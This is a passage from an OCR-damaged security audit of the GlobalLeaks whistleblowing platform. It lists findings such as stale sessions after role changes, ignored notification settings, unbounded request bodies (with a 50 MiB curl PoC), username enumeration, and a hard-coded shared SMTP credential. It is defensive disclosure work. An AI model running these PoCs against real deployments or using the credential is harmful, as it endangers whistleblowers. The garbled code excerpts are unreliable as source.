85 .filter(or_(nodels.Internal Ti
ext_id.in_(receiver_contexts),

86

nodel s. Recei ver Ti p. recei ver _id == receiver_id),

87 nodel s. Internal Tip.ti
tid,

88

nodel s. | nternal Ti p. updat e_dat e >= updat ed_after,

89

nodel s. | nternal Ti p. updat e_dat e <= updat ed_bef ore,

p. cont

d ==

90 nodel s. Internal Tip.id ==

nodel s. Recei verTip.internal tip_id,
91
nodel s. I nternal Ti pAnswers.internaltip_id == nodel s. Recei verTip.internal tip_i

PoC

d) \

Steps to reproduce

1. Log in as a user whose current role is recei ver and who has access to at least one report. Save the returned

session ID.

curl -s -X POST https://target.exanpl e/ api / aut h/ aut henti cation \
-H 'content-type: application/json \

--data ' {"tid": 1, "username": "recipient","password":"<derived-or-plain-
passwor d>", "aut hcode": ""}'

2. As an administrator, update the same user and change role from receiver to anotherinternalrole, such as

anal yst

curl -s -X PUT https://target.exanpl e/ api / adm n/ user s/ <user-i d> \
-H ' x-session: <adm n-session> \
-H *content-type: application/json \
--data ‘{"role":"analyst", ...}'

3. Use the stale recipient session to list or open recipient reports.
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curl -i https://target.exanpl e/ api/recipient/rtips \

-H ' x-session: <stal e-reci pi ent - sessi on>'

curl -i https://target.exanpl e/ api/recipient/rtips/<report-id>\
-H ' x-session: <stal e-recipi ent - sessi on>'

Expected result

Changing a user's role away from recei ver should revoke active recipient sessions or cause recipient APIs to
reject the session once the backing user row no longer has the recei ver role.

Actual result

The recipient APIs continue accepting the session because the session still contains rol e == 'recei ver' ,and
the report access queries do not enforce the current database role.

Impact

Thisis an insu cient session revocation issue on role changes. It can preserve report access for a user after
administrators have moved that account out of the recipient role, extending access to whistleblower reports
beyond the current role assignment.

Impacted users or systems:

o Deployments where administrators change user roles as part of access review, o boarding, or incident
response.

e Whistleblowers whose reports remain linked to a user account that has been moved out of the recipient role
while the old recipient session is active.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Medium None

CWE-613 ) Insu cient Session Expiration
CWE-841 ) Improper Enforcement of Behavioral Workflow
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11.13 F-052 - Recipient notifications ignore
disable setting

Recipient report emails can still be sent after administrators explicitly disable that notification channel.

IMPACT COMPONENT FOUND BY

Notification policy bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

The administrator-facing enabl e_recei ver _notificati on_enails setting is not enforced by backend recipient
report-notification paths. The periodic notification job checks a di erent, missing cache key and direct report-
update/grant helpers do not check the global recipient-natification setting at all, so public submissions and
report updates can still queue recipient emails after an administrator disables recipient notification emails.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ j obs/ noti fi cati on. py

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ wbt i p. py

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py

backend/ gl obal eaks/db/ __init__.py

backend/ gl obal eaks/ nodel s/ confi g_desc. py

client/app/src/pages/ adnm n/notifications/notification-tabl/notification-
tabl. conponent . ht m

Description:

The admin notification settings expose a Reci pi ent checkbox bound to
enabl e_recei ver_notification_enails .Thatvalue is stored in the notification config namespace and loaded
into State.tenants[tid].cache.notification .

The periodic recipient notification job attempts to build a list of tenants whose recipient notifications should be
suppressed, but it reads cache. enabl e_noti fication_enails_recipi ent from the top-level tenant cache.
Current config descriptors use enabl e_recei ver_notification_enails ,and the cache loader stores notification
config under cache. notification , so that top-level key is absent. (bj ect D ct returns None for missing

attributes, leaving the suppression list empty even when administrators set
enabl e_receiver_notification_ enails to false .

Other report-mail paths bypass the global setting entirely. Whistleblower identity updates and additional
questionnaire updates call db_notify recipients_of _tip_update() ,recipient status changes call

db_notify_report_update() ,and report-access grants call db_notify_grant_access() ;these helpers load
notification templates and queue Mil rows without checking enabl e_recei ver_notification_emails .The
only checks are per-user notification preferences and per-report enabl e_noti fications flags.

As a result, disabling recipient notification emails in the admin Ul does not prevent report-related emails from
being queued. A public submitter or report participant can still cause recipient email containing report metadata
and report URLSs to leave the application through the configured mail channel.

Relevant code:
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backend/ gl obal eaks/ nodel s/ confi g_desc. py

45

47
48

305
306
307

308
309

“enabl e_adm n_notification_enails': Bool (defaul t=True),
*enabl e_anal yst _notification_emails': Bool (defaul t=True),

‘ enabl e_cust odi an_noti fication_enails': Bool (defaul t=True),
" enabl e_recei ver_notification_enails': Bool (default=True),

‘notification : [
" enabl e_adm n_notification_enails',
*enabl e_anal yst _noti fication_enails',
‘ enabl e_cust odi an_noti fication_enails',
*enabl e_recei ver_notification_enails',

ISGroup SRL
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client/app/ src/ pages/ adm n/notifications/notification-tabl/notification-
tabl. conponent . ht m

80

<t d><| abel for="enabl e-receiver-notification-enmails">{{ 'Recipient’

translate }}</1abel ></td>

81
82

83

<t d>

<i nput id="enabl e-recei ver-notification-enails" class="formcheck-
input" [(ngMbdel )]="notificationResol ver.dataMbdel . enabl e_recei ver _notification_em
ails" type="checkbox">

</td>

backend/ gl obal eaks/db/__init__.py

221
222
226
227

228
229

for cfg in session.query(Config).filter(Config.tid.in_(tids)):
tenant _cache = State.tenants[cfg.tid].cache

elif cfg.var_nane in ConfigFilters[' node']:
tenant _cache[ cfg.var_nane] = cfg.val ue
elif cfg.var_name in ConfigFilters['notification']:
tenant _cache[' notification'][cfg.var_name] = cfg.val ue

backend/ gl obal eaks/ j obs/ noti fi cati on. py

149
150
151
152
153
s

154

184

silent_tids =[]

for tid in self.state.tenants:
cache = self.state.tenants[tid].cache

if cache.notification and cache. enabl e_notification_enails_recipien

silent_tids.append(tid)

for user, rtip, itip, obj initertools.chain(resultsi,

resul ts3, results4):

185
186
187
211

tid = user.tid

if (tidinsilent_tids) or ...
sel f. process_nai |l _creation(session, tid, data)

backend/ gl obal eaks/ handl er s/ whi st | ebl ower /wbti p. py

56 def db_notify_recipients_of _tip_update(session,

57

nodel s. | nternal Ti p) 58

itipid):

for user, rtip,

== nodel s. Recei ver Ti p. recei ver_i d,

59

resul ts2,

itip in session.query(nodels. User, nodel s. Recei verTip,
.filter(nodels. User.id

nodel s. Recei verTip.internaltip_id ==

nodel s. I nternal Tip.id,

60

nodel s. Recei ver Ti p. | ast _noti fication

< nodel s. Recei ver Ti p. | ast _access,

61
62

120

142

nodel s. Internal Tip.id ==

db_notify_report_updat e(session, user, rtip, itip)
db_notify recipients_of tip_update(session, itip.id)
db_notify recipients_of tip_update(session, itip.id)

backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py
36 def db_notify grant_access(session, user):

54
55
56
57
58
59
60

subj ect, body = Tenpl ating().get_mail _subject_and_body(dat a)

sessi on. add( nodel s. Mai | ({
‘address': data['user']['nail_address'],
‘subj ect': subject,
*body' : body,
‘tid: user.tid

itipid):
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61 1)

563 # send mai| notification to all users with access to the report excluding
<user _i d>

564 for user in session.query(nodel s. User) 565

.filter(nodel s. User.id == nodel s. Recei verTi p. recei ver_id,

566 nodel s. Recei verTip.internaltip_id == itip.id,
567 nodel s. Recei ver Tip.recei ver _id != user_id,
568 nodel s. Recei verTi p. | ast_notification <

nodel s. Recei ver Ti p. | ast _access) :

569 db_notify_report_update(session, user, rtip, itip)

backend/ gl obal eaks/ uti |l s/tenpl ati ng. py
594 supported_tenpl ate_types = {

595 ‘null': Keyword,
596 "tip': TipKeyword,
597 "tip_access': User NodeKeyword,
598 "tip_remnder': User NodeKeyword,
599 'tip_update': Ti pKeyword,
600 "tip_expiration_summary': ExpirationSunmaryKeyword,
601 ‘unread_tips': User NodeKeywor d,
PoC

Steps to reproduce

1. As an administrator, disable recipient notification emails through the notification settings API or the admin Ul
Recipient checkbox.

curl -s -X PUT " https://TARGET/ api / admi n/notification' -H'X- Session: <adnin-
session> -H'Content-Type: application/json' --data '<full Adm nNotificationDesc
JSCN wi th "enabl e_recei ver_notification_enails":fal se>'

2. Refresh the backend cache if needed, then create a normal whistleblower submission to a context with
recipient notifications otherwise enabled.

curl -s -X POST 'https://TARGET/ api/report’ -H ' X-Session: <subn ssion-session>'
H ' Content-Type: application/json' --data '<valid report subm ssion JSON>'

3. Run or wait for the notification job and inspect the mail queue.

SELECT address, subject, body
FROM nai |
CRDER BY creation_date DESC

4. For direct-update variants, have the whistleblower add identity information or additional-questionnaire answers,
or have a recipient change report status or grant report access.

Those handl ers call recipient nail helpers directly and do not check
enabl e_recei ver _notification_enails before adding Ml rows.

Expected result

When enabl e_recei ver_notification_enails isfalse, backend recipient report-notification paths should not

queue recipient emails for new reports, report updates, reminders, unread reports, expiration summaries, identity
updates, status changes, or report-access grants.

Actual result
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The periodic notification suppression list is never populated from the configured
enabl e_recei ver_notification_enails value, and several direct recipient report-mail helpers do not check
the setting. Recipient report emails can still be queued after the administrator disables them.

Impact

This is an enforcement failure for a security-relevant notification and data-minimization control. Operators may
disable recipient notification emails to keep report metadata, report URLs, and workflow events out of external
mailboxes or SMTP infrastructure. A public submitter, whistleblower with report access, or recipient with report
access can still trigger recipient report mail despite that administrative setting.

Impacted users or systems:

o Deployments that disable recipient notification emails for confidentiality, operational security, or incident-
response reasons.

o Whistleblowers whose report existence, report URL, or report workflow events are sent through email despite
the disabled setting.

¢ Recipients and administrators relying on the global notification setting as a delivery control.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low None None

Improper Enforcement of Behavioral Workflow
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11.14 F-056 - Public bodies consume backend
resources

Oversized public request bodies can reach the backend and consume storage and parsing resources before
body limits are enforced.

IMPACT COMPONENT FOUND BY
Resource exhaustion Backend GPT-5.5 medium via
run_codex_cwe_line vl

Production GlobalLeaks request handling does not enforce the repository's documented 2 MiB request-body cap.
The only Request. got Lengt h() override that rejects bodies over 2 MiB lives in the test mocks and is not
imported by the backend service. Unauthenticated public POST endpoints such as /api/report and

/api / aut h/ type therefore accept arbitrarily large request bodies before handler-level validation, allowing a
remote client to force disk spooling and large in-process reads on the application server.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ backend. py Request/Site

backend/ gl obal eaks/ mocks/ t wi st ed_nocks. py nock_Request _got Lengt h
backend/ gl obal eaks/ handl ers/report.py ReportHandl er. post

backend/ gl obal eaks/ handl ers/auth/ __init__.py AuthTypeHandl er. post

Description:

The production web service defines its own Request subclass but does not override got Lengt h() or
otherwise bound request bodies. The repository containsa 2 M B body-size check in
gl obal eaks. nocks. t wi st ed_nocks , and the changelog states that the application limits any request payload to
2 M B , but that mock module is not imported by backend startup code.

This leaves unauthenticated public PCST endpoints exposed to oversized bodies. /api/report reads the
entire body and writes it to the CSP report log with no schema or quantity validation. /api/auth/type calls
j son. |l oads() directly on the entire body before using only the usernane field. Because request bodies are

accepted before the handler runs, an attacker can repeatedly send oversized bodies to consume request-
spooling storage, memory during content.read() / json.loads() ,and worker/reactor time without

authentication.

Relevant code:

backend/ gl obal eaks/ backend. py

cl ass Request (server. Request):
log_i p_and_ua = Fal se

class Site(server.Site):
request Factory = Request
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backend/ gl obal eaks/ mocks/ t wi st ed_nocks. py
def nock_Request _got Lengt h(sel f, |ength):
if length is not None and length > 2 * 1024 * 1024:

rai se | nputValidationError("Request exceeding nax size of 2MB")

self.content = Stringl Q)

Request . got Lengt h = nock_Request _got Lengt h

backend/ gl obal eaks/ handl ers/report. py

cl ass Report Handl er (BaseHandl er):
check_roles = 'any'

def post(self):

request = sel f.request.content.read()
sel f.state.csp_report_| og. wite(request)

backend/ gl obal eaks/ handl ers/auth/ __init__.py

cl ass Aut hTypeHand! er (BaseHand! er) :
check_roles = 'any'

def post(self):

usernane = json. | oads(self.request.content.read())[' usernane']
return get_auth_type(sel f.request.tid, usernane)

PoC
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The following reproduction uses repository evidence and a running GlobalLeaks backend. It does not require

authentication.

Steps to reproduce

1. Confirm that production startup uses backend/ gl obal eaks/ backend. py and does not import

gl obal eaks. mocks. t wi st ed_nocks .

rg -n “twi sted_nocks| got Lengt h| r equest Fact ory" backend/ gl obal eaks/ backend. py

backend/ gl obal eaks/ nocks/ t wi st ed_nocks. py

2. Send an oversized CSP report body to the public report endpoint.

python3 - <<'PY'" | curl -k -sS -X PCST --data-binary @ https://127.0.0. 1: 8443/ api /

report

inport sys

sys.stdout. buffer.wite(b'A * (50 * 1024 * 1024))
PY

3. Send an oversized JSON body to another public POST endpoint that parses the whole body.

python3 - <<'PY' | curl -k -sS -X POST -H 'content-type: application/json'

binary @ https://127.0.0. 1: 8443/ api / aut h/ t ype

inport json, sys

sys. stdout.wite(json. dunps({' usernane': 'A * (50 * 1024 * 1024)}))
PY

--dat a-
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Expected result

The production request layer rejects request bodies above the documented cap before spooling or reading the
body, consistently with the 2 MiB check present in the repository's Twisted request mock.

Actual result

The production request class has no body-size validation. Public unauthenticated endpoints receive and process
oversized request bodies, with /api/report reading the body and writing it to the CSP report log and
/api / aut h/ type reading and parsing the full ISON body.

Impact

This is an unauthenticated availability issue caused by missing validation of a specified input quantity. A remote
attacker can repeatedly submit oversized bodies to public POST endpoints to consume temporary request-body
storage, memory during full-body reads/parsing, and request-processing time. This can degrade or exhaust
backend resources before normal application-level validation runs.

Impacted users or systems:

¢ Globaleaks backend deployments exposed directly or through a reverse proxy that does not impose a
stricter body-size limit.

o Whistleblowers, recipients, custodians, and administrators sharing the a ected backend process.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None High

Improper Validation of Specified Quantity in Input
CWE-400 ) Uncontrolled Resource Consumption
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11.15 F-060 - Shared SMTP credentials are
shipped

Default notification mail relies on a shared hard-coded SMTP credential that cannot be treated as secret.

IMPACT COMPONENT FOUND BY

Credential exposure Backend GPT-5.5 medium via
run_codex_cwe_line vl

Globaleaks ships production notification settings that authenticate to nai | . gl obal eaks. org with the hard-
coded username and password gl obal eaks . New tenants and the reset operation restore these shared

credentials, so notification emails can be sent through a public service account whose secret is recoverable from
the source tree.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ model s/ confi g_desc. py notification defaults

backend/ gl obal eaks/ handl er s/ adm n/ oper ati on. py db_reset_sntp_settings
backend/ gl obal eaks/ state. py State.sendnail

client/app/src/pages/ adnin/notifications/notification-tabl/notification-
tabl. conponent . ht m

Description:

The default notification configuration enables SMTP authentication to nai | . gl obal eaks. org using the static
credential pair gl obal eaks/ gl obal eaks . The same credential is restored by the administrative

reset_sntp_settings operation. State.sendnail passes those values directly to the SMTP client for queued
notification delivery, and notification emails are enabled by default for internal roles. The administration Ul warns
that the default mail configuration is in use, but it does not disable the shared credential or require a tenant-
specific secret before notifications are sent.

Because the credential is hard-coded in the repository, any party with the source can learn the account password
that default deployments attempt to use for notification delivery. If the upstream SMTP service accepts this
credential, attackers can authenticate to the shared account outside the application or abuse the default
account's reputation and sending capability. If the shared credential is rotated or disabled, default deployments
lose notification delivery until administrators notice and replace the settings.

Relevant code:
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backend/ gl obal eaks/ nodel s/ confi g_desc. py
"enabl e_adnmin_notification_enails': Bool (defaul t=True),
" enabl e_anal yst_noti fication_enails': Bool (defaul t=True),
' enabl e_cust odi an_notification_enails': Bool (defaul t=True),
" enabl e_recei ver_notification_emails': Bool (defaul t=True),

'snmip_aut hentication': Bool (defaul t=True),

"sm p_password' : Uni code(defaul t =" gl obal eaks'),

"sntp_port': Int(default=587),

'snmip_security': Unicode(default="TLS ),

"smp_server': Unicode(defaul t="nail.global eaks.org"),
'sntp_source_enai |l ': Uni code(defaul t="notificati ons@l obal eaks.org"),
' snt p_username' :  Uni code(def aul t =" gl obal eaks'),

backend/ gl obal eaks/ handl er s/ adm n/ oper at i on. py
def db_reset_smip_settings(session, tid):
config = ConfigFactory(session, tid)
config.set_val ('snip_server', 'nail.global eaks.org")
config.set_val ('snmp_port', 587)
config.set_val (' snp_usernane', 'global eaks')
config.set_val (' snp_password', 'global eaks')
config.set_val ('smp_source_enail', 'notifications@l obal eaks.org")
config.set_val (‘sntp_security', 'TLS)
config.set_val ('snip_authentication', True)

backend/ gl obal eaks/ st at e. py
return sendnail (tid,
sel f.tenants[tid].cache. notification.sntp_server,
sel f.tenants[tid].cache. notification.sntp_port,
sel f.tenants[tid].cache. notification.snip_security,
sel f.tenants[tid].cache. notification.sntp_authentication,
sel f.tenants[tid].cache. notification.sntp_usernane,
sel f.tenants[tid].cache. notification.sntp_password,

)

client/app/src/pages/ adm n/notifications/notification-tabl/notification-
tabl. conponent . ht m
@f (notificationResol ver. dataMbdel . sntp_server === 'nail.gl obal eaks.org') {
<div class="alert alert-secondary">
<i class="fas fa-circle-exclamation"></i>
<span>{{ 'Default mail configuration in use. Please consider using a private
mail server.' | translate }}</span>
</ di v>
}

PoC

The issue is statically reproducible from the repository defaults.

Steps to reproduce

1. Inspect the notification configuration defaults.

sed -n ' 40, 105p' backend/ gl obal eaks/ model s/ confi g_desc. py
2. Inspect the administrative SMTP reset operation.
sed -n ' 170, 179p' backend/ gl obal eaks/ handl er s/ adni n/ oper at i on. py

3. Inspect the runtime mail-sending path.

sed -n ' 199, 219p' backend/ gl obal eaks/ st at e. py
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Expected result

Production notification defaults should not contain reusable credentials. The default account should be disabled
until an administrator configures tenant-specific SMTP credentials, or the software should obtain a deployment-
specific secret through a secure provisioning channel.

Actual result

The repository contains the default SMTP username and password, and the backend uses them for notification

delivery whenever a tenant retains or restores the default mail configuration.

Impact

This is a hard-coded credential issue in the default notification path. Deployments that keep the default
notification settings depend on a public shared SMTP credential that is exposed in source code and cannot
remain secret.

Impacted users or systems:

e Operators who deploy Global eaks with the default notification settings or use the SMTP reset operation.

e Recipients, administrators, custodians, analysts, and reporting users who rely on notification email delivery or
notification sender authenticity.

e The nail. gl obal eaks. org notification service account and its sending reputation, if the static credential is
accepted by that service.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

Use of Hard-coded Credentials
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11.16 F-067 - Recipient upload records
unwritten file

The system can acknowledge a recipient file before it is actually written, creating a temporary integrity gap
between metadata and storage.

IMPACT COMPONENT FOUND BY
Evidence integrity risk Backend Claude Sonnet 4.6 medium v1

When a recipient uploads a file attached to a report, the backend registers the file record in the database and
immediately returns HTTP 201 to the client, but the actual file write to disk is dispatched as a fire-and-forget
background thread with no yi el d . Any attempt to download the file before the background write completes —
including the immediate GET that the client issues after a successful upload — fails with a 404, creating a window
in which the database says the file exists but the file cannot be retrieved.

Details

A ected source code:

backend/ gl obal eaks/ handl ers/reci pient/rtip. py

wite_rfile to_disk() —lines 1316-1334
Recei ver Fi | eUpl oad. post () —Iines 1344-1348
Description:

Recei ver Fi | eUpl oad. post () performs two operations in sequence:

result, crypto_key = yield register_rfile_on_db(

self.request.tid, self.session user_id, itip_id, self.uploaded file)
defer ToThread(wite_rfile_to_disk, self.uploaded file, crypto_key)
returnVal ue(resul t)

register_rfile_on_db isawaitedwith yield :itinsertsa ReceiverFile row into the database and commits
the transaction before execution continues. The file serializer subsequently derives the error flag from
0s. pat h. exi sts(attachnents_path / rfile.id) ,whichis Fal se at this point.

deferToThread(wite rfile to disk, ...) isnotawaited The Deferred itreturnsis discarded immediately.

returnVal ue(result) firesthe HTTP 201 response before wite_rfile_to_di sk hasrun, or possibly even
before it has been scheduled on the thread pool.

wite rfile_to_disk opensthein-memory SecureTenporaryFile and writes the plaintext or encrypted
contentto attachnents_path/ 0 . Until this finishes, the physical file does not exist on disk.

Relevant code:
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# ReceiverFil elpl oad. post —rtip.py ~1344
@nl i neCal | backs
def post(self, itip_id):

result, crypto_key = vyield register_rfile_on_db(

self.request.tid, self.session.user_id, itip_id, self.uploaded file)

def er ToThread(wite_rfile_to_di sk, self.uploaded file, crypto_key) # < no
yield

returnVal ue(resul t) # ~
response sent inmediately

# wite_rfile_to_disk —rtip.py ~1316
def wite rfile_to_disk(uploaded_file, crypto_key):

sf = upl oaded_fil e[ ' body' ]

dst = os. pat h. abspat h(os. pat h. j oi n(Settings. attachnents_pat h,
upl oaded_file['filenane']))

if crypto_key:

with sf.open('r") as src, \
QCE. st reani ng_encryption_open(' ENCRYPT', crypto_key, dst) as seo:

el se:
with sf.open('r') as src, open(dst, 'wb') as out:

Secondary e ects:

1. Download race: Recei ver Fi | eDownl oad. get calls sel f.check _file_presence(fil el ocation) which raises
Resour ceNot Found  if the file is absent. A client that immediately GETs the newly uploaded file ID after a 201
response will receive a 404 for an indeterminate period.

2. Unobserved write failure: because the Deferred from def er ToThread is discarded, any exception raised
inside wite_rfile_to_disk (e.g.,diskfull, encryption error, permission denied) is silently swallowed. The
database record remains with error: True (reported by the serializer because the file is absent from disk), but
no log entry or natification is generated and the caller receives no indication that the upload actually failed.

3. Cleanup hazard: if the process restarts between the register_rfile_on_db commitand the completion of

wite rfile_to disk ,the SecureTenporaryFile in State. TenpUpl oadFi | es is lost. The database record
persists with error: True permanently;the d eaning job willnotremove an Internal File -referenced row,
so the ghost record accumulates.

The analogous path for whistleblower post-submission attachments ( Post Subm ssi onAtt achment -
register_ifile_on_db - Deliveryjob — wite_plaintext_file )doesnotshare this bug: those files reach
disk only after the Delivery job explicitly awaits the write.

PoC

Steps to reproduce

1. Authenticate as a recipient with access to any report. 2. POST afileto /api/recipient/rtips/0/rfiles .3.
Immediately (within milliseconds of receiving the 201) issue CET /api/recipient/rfiles/1 .
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# Upl oad

curl -X POST https://<host>/api/recipient/rtips/<itip_id>rfiles \

-H"
"fl owFi | ename=test.txt" \

"fl owlot al Si ze=13" \

“fl ow denti fier=unique-id-1" \

"f | owChunkNunber =1" \

"f1 owTot al Chunks=1" \
"file=@dev/stdin" <<< "hello, world"

-F
-F
-F
-F
-F
-F

X- Sessi on: <session_id>" \

# | medi at e downl oad —races the background wite
curl https://<host>/api/recipient/rfiles/<returned_rfile_id>\
-H " X-Sessi on: <session_id>"

Expected result

The 201 response guarantees the file is persisted and immediately downloadable.

Actual result

The GET returns HTTP 404 ( Resour ceNot Found ) if it arrives before wite rfile_to_di sk completes. On loaded
systems or with large files the window can be multiple seconds. Write failures are never reported to the caller.

Impact

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

Impacted users or systems:

o Recipients uploading files to reports (rfiles intended for the whistleblower).

e Whistleblowers attempting to download rfiles that are in the write window.

CONFIDENTIALITY INTEGRITY AVAILABILITY

None High Low

CWE-362 ) Concurrent Execution Using Shared Resource with Improper Synchronization (Race Condition)

Unchecked Error Condition
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11.17 F-068 - Upload limit can be bypassed
slightly

The configured upload cap can be exceeded by nearly one MiB because size enforcement rounds down before
checking the limit.

IMPACT COMPONENT FOUND BY
Storage limit bypass Backend GPT-5.5 medium v1

The upload size check converts byte counts to MiB using floor division before comparing them with the
configured maximum file size. This permits uploads that exceed the configured limit by almost one MiB.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ base. py: process_fi | e_upl oad

Description:

process_file_upload() checks chunk_size , total _file_size ,and current temporary file size with integer
floor division by 1024*1024 , then compares the resulting MiB value with nmaxi num fil esi ze .

Fora maxi numfilesize of NMB ,valuesupto (N + 1) MB ninus one byte stillproduce N afterfloor
division and therefore pass the &gt; nax_fil e_si ze test. This weakens configured upload limits and can
amplify storage-consumption attacks.

Relevant code:

backend/ gl obal eaks/ handl er s/ base. py

376 nmax_file_size = self.state.tenants[self.request.tid].cache. maxi numfil
esi ze
378 chunk_si ze = I en(sel f.request.args[b' file ][0])
379 if (chunk_size // (1024 * 1024) > max_file_size or
380 total file_ size // (1024 * 1024) > nmax_file_size or
381 f.size // (1024 * 1024) > nax_file_size):
382 log.err("File upload request rejected: file too big",
tid=sel f.request.tid)
383 raise errors. Fi | eTooBi g(nax_fil e_size)
PoC

Steps to reproduce

1. Consider an instance where naxi mumfil esize isconfiguredto 1 MiB.

maxi num fil esi ze=1

2. Evaluate the same comparison used by the upload code for a file that is almost 2 MiB.
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python3 - <<' PY'

max_file_size = 1

size = (2 * 1024 * 1024) - 1

print(size // (1024 * 1024) > max_file_size)
print(size // (1024 * 1024))

PY

3. Observe that the comparison does not reject the oversized value.

Fal se
1

Expected result

The code should compare byte counts directly against nmaxi rum fil esi ze * 1024 * 1024 , rejecting any file
larger than the configured maximum.

Actual result

The code floors sizes to whole MiB before comparison, allowing nearly one extra MiB beyond the configured limit.

Impact

This is a limit enforcement weakness. It does not by itself grant code execution or unauthorized access, but it
allows uploads larger than an operator-configured maximum and increases the impact of storage-consumption
attacks.

Impacted users or systems:
¢ Instances relying on naxi mum fil esi ze as astrict upload bound.

o Deployments with limited temporary or attachment storage.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None Low

CWE-193 ) O -by-one Error
Allocation of Resources Without Limits or Throttling
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11.18 F-071 - Auth type reveals internal users on
versions <=4.15.4

On a ected legacy versions, the auth-type endpoint can reveal which internal usernames actually exist.

IMPACT COMPONENT FOUND BY

User enumeration Backend GPT-5.5 medium via
run_codex_cwe_line vl

The public authentication-type endpoint returns a distinct response for existing internal users whose accounts
use server-side password hashing. An unauthenticated attacker can query /api/aut h/type with candidate
usernames and identify valid accounts on deployments or migrated databases that store Argon2-derived hashes,
despite the code explicitly trying to avoid user-existence disclosure.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py, AuthTypeHandl er.post() /
get _aut h_type()
PCST / api / aut h/ t ype

Description:

The Angular login flow calls /api/aut h/ type before submitting credentials so it can decide whether to send a

client-side Argon2 key or the raw password. The backend attempts to mask unknown users by deriving a
deterministic fake salt, but the final branch still exposes whether the queried username exists when that user has
a non-64-character hash.

For unknown users, get_auth_type() alwaysreturns {"type":"key","salt":...} .For existing users with
server-side hashes, the function returns {"type": "password"} . The repository tests explicitly cover this
supported mode through Test Aut hTypeHandl er Wt hSer ver si deHashi ng . Therefore the unauthenticated
endpoint can be used as a user-enumeration oracle for internal accounts on deployments using that hash format.

Relevant code:
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@r ansact

def get_auth_type(session, tid, usernane):
salt = ConfigFactory(session, tid).get_val('receipt_salt')

if not usernane: # whistl ebl owner
if not session. query(exists().where(and_(Internal Tip.tid ==tid,
func. | engt h(I nternal Ti p.recei pt_hash) < 64))).scalar():
return {'type': 'key', 'salt': salt}

el se:
user = session. query(User).filter(User.tid == tid, or_(User.usernane ==
usernane, User.id == usernane)).one_or_none()

# Always cal culate the user salt to not disclose if the user exists or not
salt = GCE generate_salt(salt + ":" + usernane)

salt = salt if not user else user.salt

if not user or |en(user.hash) == 64:
return {'type': 'key', 'salt': salt}

return {'type': 'password'}

The tested server-side-hashing mode returns password for an existing recipient:

cl ass Test Aut hTypeHand! er Wt hSer ver si deHashi ng( hel pers. Test Handl er Wt hPopul at edDB)

_handl er = aut h. Aut hTypeHand! er
clientside_hashing = Fal se

def test_receiver_request(self):
handl er = sel f.request ({
‘usernane': 'receiverl',

1)
response = yield handl er. post ()

sel f.assert True(' type' in response)
sel f. assert Equal (response['type'], 'password')

PoC

The following requests can be sent without authentication to a tenant that has server-side-hashed internal users.

Steps to reproduce

1. Query a candidate internal username that exists on a server-side-hashing deployment.

curl -sS -X POST https://target.exanpl e/ api /auth/type \
-H ' Content-Type: application/json \
--data ' {"usernane":"receiverl"}'

2. Query a candidate internal username that does not exist.

curl -sS -X POST https://target.exanpl e/ api /auth/type \
-H " Content-Type: application/json \
--data '{"usernane":"not-a-real -user"}"

3. Compare the JSON response bodies.
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Exi sting server-side-hashed user: {"type":"password"}
Unknown user: {"type":"key", "salt":"..."}

Expected result

The authentication-type endpoint should not reveal whether the requested username exists. The response shape
and type should be indistinguishable for unknown users and for existing users in the same authentication

mode, or the endpoint should use a tenant-wide mode that does not depend on account existence.

Actual result

Existing server-side-hashed users return type: password , while unknown users return type: key with a fake
salt.

Impact

This is an unauthenticated user-enumeration vulnerability. It gives attackers a reliable account list for password
guessing, phishing, or targeted social engineering against administrators, recipients, analysts, and custodians. The
impact is higher for whistleblowing deployments because internal-user identities and role membership can be
sensitive operational information.

Impacted users or systems:

« Deployments or migrated databases that use server-side password hashing for internal users.

¢ Internal users whose usernames or UUID-style IDs can be guessed or sourced from other leaks.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low None None

CWE-204 ) Observable Response Discrepancy
CWE-203 ) Observable Discrepancy
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11.19 F-087 - Docker build runs remote script

The Docker build trusts and executes a live remote install script as root, making image creation depend on
mutable external code.

IMPACT COMPONENT FOUND BY
Supply-chain hardening gap Docker GPT-5.5 medium v1

The Docker image build downloads install.sh from https://deb. gl obal eaks. org at build time and
executes it as root without pinning the script content or independently verifying its integrity. A compromise of the
download path or published script could lead to arbitrary code execution during image build and malicious code
being embedded in produced images.

Details

The Dockerfile relies on live remote code as part of the trusted build input.

A ected source code, component, endpoint, or function:

docker/ Dockerfil e
scripts/install.sh

Description:

docker/ Dockerfil e downloads https://deb. gl obal eaks.org/install.sh into /tnp/install.sh and

executes it as root during the image build. The downloaded script then downloads the GlobalLeaks APT signing
key from the same remote origin and installs packages from the configured repository.

The base image is pinned by digest, but the install script and package selection are not pinned to immutable
content in the Dockerfile. This makes the build non-reproducible and creates a supply-chain trust path where
compromise of deb. gl obal eaks. org , TLS/DNS/CA infrastructure, or the script publication process can resultin
root code execution during build.

Relevant code:

docker/ Dockerfil e:

12 ADD https://deb. gl obal eaks. org/install.sh /tnp/install.sh
24 RN apt-get update -q && \

27 chmod +x /tnp/install.sh &\

28 /tnp/install.sh &\

scripts/install.sh:

146 echo "Addi ng G obaleaks PGP key to trusted APT keys"

147 curl -sS https://deb. gl obal eaks. or g/ gl obal eaks. asc | gpg --dearnor -o /etc/apt/
trust ed. gpg. d/ gl obal eaks. gpg

150 echo "deb [signed-by=/etc/apt/trusted. gpg.d/ gl obal eaks. gpg] https://

deb. gl obal eaks. org $D STRO CCDENAME/ " > /et c/ apt/ sources. | ist. d/ gl obal eaks. | i st

157 DO "apt install -y --no-install-recomends python3-nunkres gl obal eaks"

PoC

The issue can be reproduced by observing that the build depends on network-fetched executable content rather
than an immutable local file or verified digest.
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Steps to reproduce
1. Inspect the Dockerfile build inputs.

nl -ba docker/Dockerfile | sed -n '7,30p
